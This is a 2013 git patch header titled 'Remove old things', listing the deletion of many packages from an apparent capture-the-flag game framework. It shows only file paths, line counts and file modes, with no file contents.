From d8e06e6d3e8da6520c5068905fa232c4b2a71c29 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 28 Jun 2013 19:09:03 -0600 Subject: [PATCH] Remove old things --- go | 56 -- packages/00common/ctfbase.mk | 6 - packages/cowbull/cowbull.mk | 23 - packages/cowbull/service/cowbull/finish | 3 - packages/cowbull/service/cowbull/ip.txt | 1 - packages/cowbull/service/cowbull/log/run | 3 - packages/cowbull/service/cowbull/run | 7 - packages/cowbull/src/Makefile | 14 - packages/cowbull/src/cow.txt | 58 -- packages/cowbull/src/cowcli.c | 355 ------- packages/cowbull/src/cowcli.orig.c | 196 ---- packages/cowbull/src/cowcli_vand.c | 355 ------- packages/cowbull/src/cowd.c | 199 ---- packages/cowbull/tokens.txt | 10 - packages/cowbull/www/moo.html | 91 -- packages/fizzbuzz/fizzbuzz-client.sh | 13 - packages/fizzbuzz/fizzbuzz.mk | 29 - packages/fizzbuzz/service/fizzbuzz/finish | 3 - packages/fizzbuzz/service/fizzbuzz/go | 3 - packages/fizzbuzz/service/fizzbuzz/ip.txt | 1 - packages/fizzbuzz/service/fizzbuzz/log/run | 3 - packages/fizzbuzz/service/fizzbuzz/run | 7 - packages/fizzbuzz/src/Makefile | 11 - packages/fizzbuzz/src/fizzbuzz.c | 86 -- packages/fizzbuzz/tokens.txt | 1 - packages/forensics/100/@author.txt | 1 - packages/forensics/133/@author.txt | 1 - packages/forensics/166/@author.txt | 1 - packages/forensics/200/@author.txt | 1 - packages/forensics/205/@author.txt | 1 - packages/forensics/210/@author.txt | 1 - packages/forensics/215/@author.txt | 1 - packages/forensics/220/@author.txt | 1 - packages/forensics/225/@author.txt | 1 - packages/forensics/230/@author.txt | 1 - packages/forensics/250/@author.txt | 1 - packages/forensics/275/@author.txt | 1 - packages/forensics/500/@author.txt | 1 - packages/forensics/525/@author.txt | 1 - packages/forensics/530/@author.txt | 1 - packages/forensics/540/@author.txt | 1 - packages/forensics/545/@author.txt | 1 - packages/forensics/550/@author.txt | 1 - packages/forensics/560/@author.txt | 1 - packages/forensics/570/@author.txt | 1 - packages/forensics/575/@author.txt | 1 - packages/forensics/577/@author.txt | 1 - packages/forensics/580/@author.txt | 1 - packages/forensics/585/@author.txt | 1 - packages/forensics/587/@author.txt | 1 - packages/forensics/589/@author.txt | 1 - packages/forensics/590/@author.txt | 1 - packages/forensics/595/@author.txt | 1 - packages/forensics/600/@author.txt | 1 - packages/forensics/650/@author.txt | 1 - packages/gs/answers.txt | 9 - packages/gs/generalstatics.com/bg.jpg | Bin 182534 -> 0 bytes packages/gs/generalstatics.com/cgi.c | 241 ----- packages/gs/generalstatics.com/cgi.h | 14 - packages/gs/generalstatics.com/data.png | Bin 10345 -> 0 bytes packages/gs/generalstatics.com/index.html | 212 ---- packages/gs/generalstatics.com/msg.ogg | Bin 19410 -> 0 bytes packages/gs/generalstatics.com/p2.png | Bin 18583 -> 0 bytes packages/gs/generalstatics.com/p2inv.png | Bin 40104 -> 0 bytes packages/gs/generalstatics.com/ttt.cgi.c | 198 ---- packages/gs/gs.mk | 8 - packages/gs/p2.xcf | Bin 66939 -> 0 bytes packages/host/host.mk | 8 - packages/host/tokens.txt | 500 ---------- packages/inferno/inferno.mk | 18 - packages/inferno/service/httpd/log/run | 3 - packages/inferno/service/httpd/run | 7 - packages/inferno/service/inferno/log/run | 3 - packages/inferno/service/inferno/run | 12 - packages/inferno/service/sshd/log/run | 3 - packages/inferno/service/sshd/rsa.key | Bin 427 -> 0 bytes packages/inferno/service/sshd/run | 4 - packages/ircd/ircd.mk | 38 - packages/ircd/service/ircd/finish | 3 - packages/ircd/service/ircd/ip.txt | 1 - packages/ircd/service/ircd/log/run | 3 - packages/ircd/service/ircd/run | 34 - packages/libcap/libcap.mk | 28 - packages/lxc/lxc.mk | 52 - packages/lxc/utmp.c | 11 - packages/mkanswer | 4 +- packages/multicaster/multicaster.mk | 19 - .../multicaster/service/multicaster/finish | 3 - .../multicaster/service/multicaster/ip.txt | 1 - .../multicaster/service/multicaster/log/run | 3 - packages/multicaster/service/multicaster/run | 7 - packages/multicaster/src/Makefile | 11 - packages/multicaster/src/multicaster-client.c | 121 --- packages/multicaster/src/multicaster-server.c | 71 -- packages/multicaster/src/multicaster.c | 164 --- packages/multicaster/tokens.txt | 1 - packages/octopus/octopus.mk | 18 - .../octopus/service/octopus-redirect/log/run | 3 - .../service/octopus-redirect/octopus-redirect | 3 - packages/octopus/service/octopus-redirect/run | 8 - packages/octopus/service/octopus/finish | 3 - packages/octopus/service/octopus/ip.txt | 1 - packages/octopus/service/octopus/log/run | 3 - packages/octopus/service/octopus/run | 9 - packages/octopus/solution.sh | 16 - packages/octopus/src/Makefile | 9 - packages/octopus/src/octopus.c | 368 ------- packages/octopus/tokens.txt | 1 - packages/playfair/playfair.mk | 19 - packages/playfair/service/playfair/finish | 3 - packages/playfair/service/playfair/ip.txt | 1 - packages/playfair/service/playfair/log/run | 3 - packages/playfair/service/playfair/run | 9 - packages/playfair/src/Makefile | 4 - packages/playfair/src/playfair.c | 199 ---- packages/playfair/tokens.txt | 1 - packages/posters/posters.mk | 8 - packages/posters/tokens.txt | 6 - packages/printf/printf.mk | 19 - packages/printf/service/printf/finish | 3 - packages/printf/service/printf/ip.txt | 1 - packages/printf/service/printf/log/run | 3 - packages/printf/service/printf/run | 13 - packages/printf/service/printf/run-printf | 3 - packages/printf/src/Makefile | 14 - packages/printf/src/printf.c | 100 -- packages/printf/tokens.txt | 5 - packages/radio/answers.txt | 18 - packages/radio/radio.mk | 8 - packages/revwords/revwords.mk | 19 - packages/revwords/service/revwords/finish | 3 - packages/revwords/service/revwords/go | 3 - packages/revwords/service/revwords/ip.txt | 1 - packages/revwords/service/revwords/log/run | 3 - packages/revwords/service/revwords/run | 8 - packages/revwords/src/Makefile | 6 - packages/revwords/src/revwords.c | 105 -- packages/revwords/src/solution.sh | 19 - packages/revwords/tokens.txt | 1 - packages/rlyeh/rlyeh.mk | 26 - packages/rlyeh/service/rlyeh/finish | 3 - packages/rlyeh/service/rlyeh/ip.txt | 1 - packages/rlyeh/service/rlyeh/log/run | 3 - packages/rlyeh/service/rlyeh/rlyeh-ctf | 44 - packages/rlyeh/service/rlyeh/run | 11 - packages/rlyeh/tokens/rlyeh/category | 1 - packages/rlyeh/tokens/rlyeh/category.key | 1 - packages/rlyeh/tokens/rlyeh/enc.key | 1 - packages/tanks/examples/hard/antlion/author | 1 - packages/tanks/examples/hard/antlion/name | 1 - packages/tanks/examples/hard/antlion/program | 22 - packages/tanks/examples/hard/antlion/sensor0 | 1 - packages/tanks/examples/hard/antlion/sensor1 | 1 - packages/tanks/examples/hard/antlion/sensor2 | 1 - packages/tanks/examples/hard/antlion/sensor3 | 1 - packages/tanks/examples/hard/antlion/sensor4 | 1 - packages/tanks/examples/hard/antlion/sensor5 | 1 - packages/tanks/examples/hard/antlion/sensor6 | 1 - packages/tanks/examples/hard/chashtank/author | 1 - packages/tanks/examples/hard/chashtank/name | 1 - .../tanks/examples/hard/chashtank/program | 41 - .../tanks/examples/hard/chashtank/sensor0 | 1 - .../tanks/examples/hard/chashtank/sensor1 | 1 - .../tanks/examples/hard/chashtank/sensor2 | 1 - .../tanks/examples/hard/chashtank/sensor3 | 1 - .../tanks/examples/hard/chashtank/sensor4 | 1 - .../tanks/examples/hard/chashtank/sensor5 | 1 - .../tanks/examples/hard/chashtank/sensor6 | 1 - .../tanks/examples/hard/chashtank/sensor7 | 1 - .../tanks/examples/hard/chashtank/sensor8 | 1 - .../tanks/examples/hard/chashtank/sensor9 | 1 - .../tanks/examples/hard/crashmaster/author | 1 - packages/tanks/examples/hard/crashmaster/name | 1 - .../tanks/examples/hard/crashmaster/program | 38 - .../tanks/examples/hard/crashmaster/sensor0 | 1 - .../tanks/examples/hard/crashmaster/sensor1 | 1 - .../tanks/examples/hard/crashmaster/sensor2 | 1 - .../tanks/examples/hard/crashmaster/sensor3 | 1 - .../tanks/examples/hard/crashmaster/sensor4 | 1 - .../tanks/examples/hard/crashmaster/sensor5 | 1 - packages/tanks/examples/hard/foobar/author | 1 - packages/tanks/examples/hard/foobar/name | 1 - packages/tanks/examples/hard/foobar/program | 15 - packages/tanks/examples/hard/foobar/sensor0 | 1 - packages/tanks/examples/hard/foobar/sensor1 | 1 - packages/tanks/examples/hard/foobar/sensor2 | 1 - packages/tanks/examples/hard/foobar/sensor3 | 1 - packages/tanks/examples/hard/foobar/sensor4 | 1 - packages/tanks/examples/hard/foobar/sensor5 | 1 - packages/tanks/examples/hard/foobar/sensor6 | 1 - packages/tanks/examples/hard/pflarr/author | 1 - packages/tanks/examples/hard/pflarr/name | 1 - packages/tanks/examples/hard/pflarr/program | 27 - packages/tanks/examples/hard/pflarr/sensor0 | 1 - packages/tanks/examples/hard/pflarr/sensor1 | 1 - packages/tanks/examples/hard/pflarr/sensor2 | 1 - packages/tanks/examples/hard/pflarr/sensor3 | 1 - packages/tanks/examples/hard/pflarr/sensor4 | 1 - packages/tanks/examples/hard/pflarr/sensor5 | 1 - packages/tanks/examples/hard/pflarr/sensor6 | 1 - packages/tanks/examples/hard/pflarr/sensor7 | 1 - packages/tanks/examples/hard/pflarr/sensor8 | 1 - packages/tanks/examples/hard/skirts/author | 1 - packages/tanks/examples/hard/skirts/color | 1 - packages/tanks/examples/hard/skirts/name | 1 - packages/tanks/examples/hard/skirts/program | 58 -- packages/tanks/examples/hard/skirts/sensor0 | 1 - packages/tanks/examples/hard/skirts/sensor1 | 1 - packages/tanks/examples/hard/skirts/sensor2 | 1 - packages/tanks/examples/hard/skirts/sensor3 | 1 - packages/tanks/examples/hard/skirts/sensor4 | 1 - packages/tanks/examples/hard/skirts/sensor5 | 1 - packages/tanks/examples/hard/skirts/sensor6 | 1 - packages/tanks/examples/hard/skirts/sensor7 | 1 - packages/tanks/examples/hard/skirts/sensor8 | 1 - packages/tanks/examples/hard/skirts/sensor9 | 1 - .../tanks/examples/insane/BoomStick/author | 1 - .../tanks/examples/insane/BoomStick/color | 1 - packages/tanks/examples/insane/BoomStick/name | 1 - .../tanks/examples/insane/BoomStick/program | 56 -- .../tanks/examples/insane/BoomStick/sensor0 | 1 - .../tanks/examples/insane/BoomStick/sensor1 | 1 - .../tanks/examples/insane/BoomStick/sensor2 | 1 - .../tanks/examples/insane/BoomStick/sensor3 | 1 - .../tanks/examples/insane/BoomStick/sensor4 | 1 - .../tanks/examples/insane/BoomStick/sensor5 | 1 - .../tanks/examples/insane/BoomStick/sensor6 | 1 - .../tanks/examples/insane/BoomStick/sensor7 | 1 - .../tanks/examples/insane/BoomStick/sensor8 | 1 - .../tanks/examples/insane/BoomStick/sensor9 | 1 - .../tanks/examples/insane/Combustible/author | 1 - .../tanks/examples/insane/Combustible/color | 1 - .../tanks/examples/insane/Combustible/name | 1 - .../tanks/examples/insane/Combustible/program | 14 - .../tanks/examples/insane/Combustible/sensor0 | 1 - .../tanks/examples/insane/Combustible/sensor1 | 1 - .../tanks/examples/insane/Combustible/sensor2 | 1 - .../tanks/examples/insane/Combustible/sensor3 | 1 - .../tanks/examples/insane/Combustible/sensor4 | 1 - .../tanks/examples/insane/Combustible/sensor5 | 1 - .../tanks/examples/insane/Combustible/sensor6 | 1 - .../tanks/examples/insane/Combustible/sensor7 | 1 - .../tanks/examples/insane/Combustible/sensor8 | 1 - .../tanks/examples/insane/Combustible/sensor9 | 1 - .../tanks/examples/insane/Combustible/sensors | 2 - packages/tanks/examples/insane/clumsy/author | 1 - packages/tanks/examples/insane/clumsy/color | 1 - packages/tanks/examples/insane/clumsy/name | 1 - packages/tanks/examples/insane/clumsy/program | 50 - packages/tanks/examples/insane/clumsy/sensor0 | 1 - packages/tanks/examples/insane/clumsy/sensor1 | 1 - packages/tanks/examples/insane/clumsy/sensor2 | 1 - packages/tanks/examples/insane/clumsy/sensor3 | 1 - packages/tanks/examples/insane/clumsy/sensor4 | 1 - packages/tanks/examples/insane/clumsy/sensor5 | 1 - packages/tanks/examples/insane/clumsy/sensor6 | 1 - packages/tanks/examples/insane/clumsy/sensor7 | 1 - packages/tanks/examples/insane/clumsy/sensor8 | 1 - packages/tanks/examples/insane/clumsy/sensor9 | 1 - packages/tanks/examples/insane/pony/author | 1 - packages/tanks/examples/insane/pony/color | 1 - packages/tanks/examples/insane/pony/name | 1 - packages/tanks/examples/insane/pony/program | 78 -- packages/tanks/examples/insane/pony/sensor0 | 1 - packages/tanks/examples/insane/pony/sensor1 | 1 - packages/tanks/examples/insane/pony/sensor2 | 1 - packages/tanks/examples/insane/pony/sensor3 | 1 - packages/tanks/examples/insane/pony/sensor4 | 1 - packages/tanks/examples/insane/pony/sensor5 | 1 - packages/tanks/examples/insane/pony/sensor6 | 1 - packages/tanks/examples/insane/pony/sensor7 | 1 - packages/tanks/examples/insane/pony/sensor8 | 1 - packages/tanks/examples/insane/pony/sensor9 | 1 - packages/tanks/examples/insane/sarlacc/author | 1 - packages/tanks/examples/insane/sarlacc/color | 1 - packages/tanks/examples/insane/sarlacc/name | 1 - .../tanks/examples/insane/sarlacc/program | 27 - .../tanks/examples/insane/sarlacc/sensor0 | 1 - .../tanks/examples/insane/sarlacc/sensor1 | 1 - .../tanks/examples/insane/sarlacc/sensor2 | 1 - .../tanks/examples/insane/sarlacc/sensor3 | 1 - .../tanks/examples/insane/sarlacc/sensor4 | 1 - .../tanks/examples/insane/sarlacc/sensor5 | 1 - .../tanks/examples/insane/sarlacc/sensor6 | 1 - .../tanks/examples/insane/sarlacc/sensor7 | 1 - .../tanks/examples/insane/sarlacc/sensor8 | 1 - .../tanks/examples/insane/sarlacc/sensor9 | 1 - packages/tanks/html/designer.cgi | 4 - packages/tanks/html/designer.html | 178 ---- packages/tanks/html/index.html | 1 - packages/tanks/html/newest.html | 30 - packages/tanks/html/summary.html | 22 - packages/tanks/service/tanksd/log/run | 3 - packages/tanks/service/tanksd/run | 15 - packages/tanks/service/tanksd/tanksd | 126 --- packages/tanks/tanks.mk | 41 - packages/tf4/tf4.mk | 8 - packages/tf4/tokens.txt | 938 ------------------ packages/wopr/service/wopr/run | 9 - packages/wopr/tokens.txt | 17 - packages/wopr/wopr.mk | 15 - packages/wopr/www/wopr/index.html | 14 - packages/wopr/www/wopr/wopr.cgi | 822 --------------- packages/wopr/www/wopr/wopr.css | 32 - packages/wopr/www/wopr/wopr.js | 74 -- 305 files changed, 2 insertions(+), 7422 deletions(-) delete mode 100755 go delete mode 100644 packages/cowbull/cowbull.mk delete mode 100755 packages/cowbull/service/cowbull/finish delete mode 100644 packages/cowbull/service/cowbull/ip.txt delete mode 100755 packages/cowbull/service/cowbull/log/run delete mode 100755 packages/cowbull/service/cowbull/run delete mode 100644 packages/cowbull/src/Makefile delete mode 100644 packages/cowbull/src/cow.txt delete mode 100644 packages/cowbull/src/cowcli.c delete mode 100644 packages/cowbull/src/cowcli.orig.c delete mode 100644 packages/cowbull/src/cowcli_vand.c delete mode 100644 packages/cowbull/src/cowd.c delete mode 100644 packages/cowbull/tokens.txt delete mode 100644 packages/cowbull/www/moo.html delete mode 100755 packages/fizzbuzz/fizzbuzz-client.sh delete mode 100644 packages/fizzbuzz/fizzbuzz.mk delete mode 100755 packages/fizzbuzz/service/fizzbuzz/finish delete mode 100755 packages/fizzbuzz/service/fizzbuzz/go delete mode 100644 packages/fizzbuzz/service/fizzbuzz/ip.txt delete mode 100755 packages/fizzbuzz/service/fizzbuzz/log/run delete mode 100755 packages/fizzbuzz/service/fizzbuzz/run delete mode 100644 packages/fizzbuzz/src/Makefile delete mode 100644 packages/fizzbuzz/src/fizzbuzz.c delete mode 100644 packages/fizzbuzz/tokens.txt delete mode 100644 packages/forensics/100/@author.txt delete mode 100644 packages/forensics/133/@author.txt delete mode 100644 packages/forensics/166/@author.txt delete mode 100644 packages/forensics/200/@author.txt delete mode 100644 packages/forensics/205/@author.txt delete mode 100644 packages/forensics/210/@author.txt delete mode 100644 packages/forensics/215/@author.txt delete mode 100644 packages/forensics/220/@author.txt delete mode 100644 packages/forensics/225/@author.txt delete mode 100644 packages/forensics/230/@author.txt delete mode 100644 packages/forensics/250/@author.txt delete mode 100644 packages/forensics/275/@author.txt delete mode 100644 packages/forensics/500/@author.txt delete mode 100644 packages/forensics/525/@author.txt delete mode 100644 packages/forensics/530/@author.txt delete mode 100644 packages/forensics/540/@author.txt delete mode 100644 packages/forensics/545/@author.txt delete mode 100644 packages/forensics/550/@author.txt delete mode 100644 packages/forensics/560/@author.txt delete mode 100644 packages/forensics/570/@author.txt delete mode 100644 packages/forensics/575/@author.txt delete mode 100644 packages/forensics/577/@author.txt delete mode 100644 packages/forensics/580/@author.txt delete mode 100644 packages/forensics/585/@author.txt delete mode 100644 packages/forensics/587/@author.txt delete mode 100644 packages/forensics/589/@author.txt delete mode 100644 packages/forensics/590/@author.txt delete mode 100644 packages/forensics/595/@author.txt delete mode 100644 packages/forensics/600/@author.txt delete mode 100644 packages/forensics/650/@author.txt delete mode 100644 packages/gs/answers.txt delete mode 100644 packages/gs/generalstatics.com/bg.jpg delete mode 100644 packages/gs/generalstatics.com/cgi.c delete mode 100644 packages/gs/generalstatics.com/cgi.h delete mode 100644 packages/gs/generalstatics.com/data.png delete mode 100644 packages/gs/generalstatics.com/index.html delete mode 100644 packages/gs/generalstatics.com/msg.ogg delete mode 100644 packages/gs/generalstatics.com/p2.png delete mode 100644 packages/gs/generalstatics.com/p2inv.png delete mode 100644 packages/gs/generalstatics.com/ttt.cgi.c delete mode 100644 packages/gs/gs.mk delete mode 100644 packages/gs/p2.xcf delete mode 100644 packages/host/host.mk delete mode 100644 packages/host/tokens.txt delete mode 100644 packages/inferno/inferno.mk delete mode 100755 packages/inferno/service/httpd/log/run delete mode 100755 packages/inferno/service/httpd/run delete mode 100755 packages/inferno/service/inferno/log/run delete mode 100755 packages/inferno/service/inferno/run delete mode 100755 packages/inferno/service/sshd/log/run delete mode 100644 packages/inferno/service/sshd/rsa.key delete mode 100755 packages/inferno/service/sshd/run delete mode 100644 packages/ircd/ircd.mk delete mode 100755 packages/ircd/service/ircd/finish delete mode 100644 packages/ircd/service/ircd/ip.txt delete mode 100755 packages/ircd/service/ircd/log/run delete mode 100755 packages/ircd/service/ircd/run delete mode 100644 packages/libcap/libcap.mk delete mode 100644 packages/lxc/lxc.mk delete mode 100644 packages/lxc/utmp.c delete mode 100644 packages/multicaster/multicaster.mk delete mode 100755 packages/multicaster/service/multicaster/finish delete mode 100644 packages/multicaster/service/multicaster/ip.txt delete mode 100755 packages/multicaster/service/multicaster/log/run delete mode 100755 packages/multicaster/service/multicaster/run delete mode 100644 packages/multicaster/src/Makefile delete mode 100644 packages/multicaster/src/multicaster-client.c delete mode 100644 packages/multicaster/src/multicaster-server.c delete mode 100644 packages/multicaster/src/multicaster.c delete mode 100644 packages/multicaster/tokens.txt delete mode 100644 packages/octopus/octopus.mk delete mode 100755 packages/octopus/service/octopus-redirect/log/run delete mode 100755 packages/octopus/service/octopus-redirect/octopus-redirect delete mode 100755 packages/octopus/service/octopus-redirect/run delete mode 100755 packages/octopus/service/octopus/finish delete mode 100644 packages/octopus/service/octopus/ip.txt delete mode 100755 packages/octopus/service/octopus/log/run delete mode 100755 packages/octopus/service/octopus/run delete mode 100755 packages/octopus/solution.sh delete mode 100644 packages/octopus/src/Makefile delete mode 100644 packages/octopus/src/octopus.c delete mode 100644 packages/octopus/tokens.txt delete mode 100644 packages/playfair/playfair.mk delete mode 100755 packages/playfair/service/playfair/finish delete mode 100644 packages/playfair/service/playfair/ip.txt delete mode 100755 packages/playfair/service/playfair/log/run delete mode 100755 packages/playfair/service/playfair/run delete mode 100644 packages/playfair/src/Makefile delete mode 100644 packages/playfair/src/playfair.c delete mode 100644 packages/playfair/tokens.txt delete mode 100644 packages/posters/posters.mk delete mode 100644 packages/posters/tokens.txt delete mode 100644 packages/printf/printf.mk delete mode 100755 packages/printf/service/printf/finish delete mode 100644 packages/printf/service/printf/ip.txt delete mode 100755 packages/printf/service/printf/log/run delete mode 100755 packages/printf/service/printf/run delete mode 100755 packages/printf/service/printf/run-printf delete mode 100644 packages/printf/src/Makefile delete mode 100644 packages/printf/src/printf.c delete mode 100644 packages/printf/tokens.txt delete mode 100644 packages/radio/answers.txt delete mode 100644 packages/radio/radio.mk delete mode 100644 packages/revwords/revwords.mk delete mode 100755 packages/revwords/service/revwords/finish delete mode 100755 packages/revwords/service/revwords/go delete mode 100644 packages/revwords/service/revwords/ip.txt delete mode 100755 packages/revwords/service/revwords/log/run delete mode 100755 packages/revwords/service/revwords/run delete mode 100644 packages/revwords/src/Makefile delete mode 100644 packages/revwords/src/revwords.c delete mode 100755 packages/revwords/src/solution.sh delete mode 100644 packages/revwords/tokens.txt delete mode 100644 packages/rlyeh/rlyeh.mk delete mode 100755 packages/rlyeh/service/rlyeh/finish delete mode 100644 packages/rlyeh/service/rlyeh/ip.txt delete mode 100755 packages/rlyeh/service/rlyeh/log/run delete mode 100755 packages/rlyeh/service/rlyeh/rlyeh-ctf delete mode 100755 packages/rlyeh/service/rlyeh/run delete mode 100644 packages/rlyeh/tokens/rlyeh/category delete mode 100644 packages/rlyeh/tokens/rlyeh/category.key delete mode 100644 packages/rlyeh/tokens/rlyeh/enc.key delete mode 100644 packages/tanks/examples/hard/antlion/author delete mode 100644 packages/tanks/examples/hard/antlion/name delete mode 100644 packages/tanks/examples/hard/antlion/program delete mode 100644 packages/tanks/examples/hard/antlion/sensor0 delete mode 100644 packages/tanks/examples/hard/antlion/sensor1 delete mode 100644 packages/tanks/examples/hard/antlion/sensor2 delete mode 100644 packages/tanks/examples/hard/antlion/sensor3 delete mode 100644 packages/tanks/examples/hard/antlion/sensor4 delete mode 100644 packages/tanks/examples/hard/antlion/sensor5 delete mode 100644 packages/tanks/examples/hard/antlion/sensor6 delete mode 100644 packages/tanks/examples/hard/chashtank/author delete mode 100644 packages/tanks/examples/hard/chashtank/name delete mode 100644 packages/tanks/examples/hard/chashtank/program delete mode 100644 packages/tanks/examples/hard/chashtank/sensor0 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor1 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor2 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor3 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor4 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor5 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor6 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor7 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor8 delete mode 100644 packages/tanks/examples/hard/chashtank/sensor9 delete mode 100644 packages/tanks/examples/hard/crashmaster/author delete mode 100644 packages/tanks/examples/hard/crashmaster/name delete mode 100644 packages/tanks/examples/hard/crashmaster/program delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor0 delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor1 delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor2 delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor3 delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor4 delete mode 100644 packages/tanks/examples/hard/crashmaster/sensor5 delete mode 100644 packages/tanks/examples/hard/foobar/author delete mode 100644 packages/tanks/examples/hard/foobar/name delete mode 100644 packages/tanks/examples/hard/foobar/program delete mode 100644 packages/tanks/examples/hard/foobar/sensor0 delete mode 100644 packages/tanks/examples/hard/foobar/sensor1 delete mode 100644 packages/tanks/examples/hard/foobar/sensor2 delete mode 100644 packages/tanks/examples/hard/foobar/sensor3 delete mode 100644 packages/tanks/examples/hard/foobar/sensor4 delete mode 100644 packages/tanks/examples/hard/foobar/sensor5 delete mode 100644 packages/tanks/examples/hard/foobar/sensor6 delete mode 100644 packages/tanks/examples/hard/pflarr/author delete mode 100644 packages/tanks/examples/hard/pflarr/name delete mode 100644 packages/tanks/examples/hard/pflarr/program delete mode 100644 packages/tanks/examples/hard/pflarr/sensor0 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor1 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor2 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor3 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor4 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor5 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor6 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor7 delete mode 100644 packages/tanks/examples/hard/pflarr/sensor8 delete mode 100644 packages/tanks/examples/hard/skirts/author delete mode 100644 packages/tanks/examples/hard/skirts/color delete mode 100644 packages/tanks/examples/hard/skirts/name delete mode 100644 packages/tanks/examples/hard/skirts/program delete mode 100644 packages/tanks/examples/hard/skirts/sensor0 delete mode 100644 packages/tanks/examples/hard/skirts/sensor1 delete mode 100644 packages/tanks/examples/hard/skirts/sensor2 delete mode 100644 packages/tanks/examples/hard/skirts/sensor3 delete mode 100644 packages/tanks/examples/hard/skirts/sensor4 delete mode 100644 packages/tanks/examples/hard/skirts/sensor5 delete mode 100644 packages/tanks/examples/hard/skirts/sensor6 delete mode 100644 packages/tanks/examples/hard/skirts/sensor7 delete mode 100644 packages/tanks/examples/hard/skirts/sensor8 delete mode 100644 packages/tanks/examples/hard/skirts/sensor9 delete mode 100644 packages/tanks/examples/insane/BoomStick/author delete mode 100644 packages/tanks/examples/insane/BoomStick/color delete mode 100644 packages/tanks/examples/insane/BoomStick/name delete mode 100644 packages/tanks/examples/insane/BoomStick/program delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor0 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor1 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor2 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor3 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor4 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor5 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor6 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor7 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor8 delete mode 100644 packages/tanks/examples/insane/BoomStick/sensor9 delete mode 100644 packages/tanks/examples/insane/Combustible/author delete mode 100644 packages/tanks/examples/insane/Combustible/color delete mode 100644 packages/tanks/examples/insane/Combustible/name delete mode 100644 packages/tanks/examples/insane/Combustible/program delete mode 100644 packages/tanks/examples/insane/Combustible/sensor0 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor1 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor2 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor3 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor4 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor5 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor6 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor7 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor8 delete mode 100644 packages/tanks/examples/insane/Combustible/sensor9 delete mode 100644 packages/tanks/examples/insane/Combustible/sensors delete mode 100644 packages/tanks/examples/insane/clumsy/author delete mode 100644 packages/tanks/examples/insane/clumsy/color delete mode 100644 packages/tanks/examples/insane/clumsy/name delete mode 100644 packages/tanks/examples/insane/clumsy/program delete mode 100644 packages/tanks/examples/insane/clumsy/sensor0 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor1 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor2 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor3 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor4 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor5 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor6 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor7 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor8 delete mode 100644 packages/tanks/examples/insane/clumsy/sensor9 delete mode 100644 packages/tanks/examples/insane/pony/author delete mode 100644 packages/tanks/examples/insane/pony/color delete mode 100644 packages/tanks/examples/insane/pony/name delete mode 100644 packages/tanks/examples/insane/pony/program delete mode 100644 packages/tanks/examples/insane/pony/sensor0 delete mode 100644 packages/tanks/examples/insane/pony/sensor1 delete mode 100644 packages/tanks/examples/insane/pony/sensor2 delete mode 100644 packages/tanks/examples/insane/pony/sensor3 delete mode 100644 packages/tanks/examples/insane/pony/sensor4 delete mode 100644 packages/tanks/examples/insane/pony/sensor5 delete mode 100644 packages/tanks/examples/insane/pony/sensor6 delete mode 100644 packages/tanks/examples/insane/pony/sensor7 delete mode 100644 packages/tanks/examples/insane/pony/sensor8 delete mode 100644 packages/tanks/examples/insane/pony/sensor9 delete mode 100644 packages/tanks/examples/insane/sarlacc/author delete mode 100644 packages/tanks/examples/insane/sarlacc/color delete mode 100644 packages/tanks/examples/insane/sarlacc/name delete mode 100644 packages/tanks/examples/insane/sarlacc/program delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor0 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor1 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor2 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor3 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor4 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor5 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor6 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor7 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor8 delete mode 100644 packages/tanks/examples/insane/sarlacc/sensor9 delete mode 100755 packages/tanks/html/designer.cgi delete mode 100644 packages/tanks/html/designer.html delete mode 120000 packages/tanks/html/index.html delete mode 100644 packages/tanks/html/newest.html delete mode 100644 packages/tanks/html/summary.html delete mode 100755 packages/tanks/service/tanksd/log/run delete mode 100755 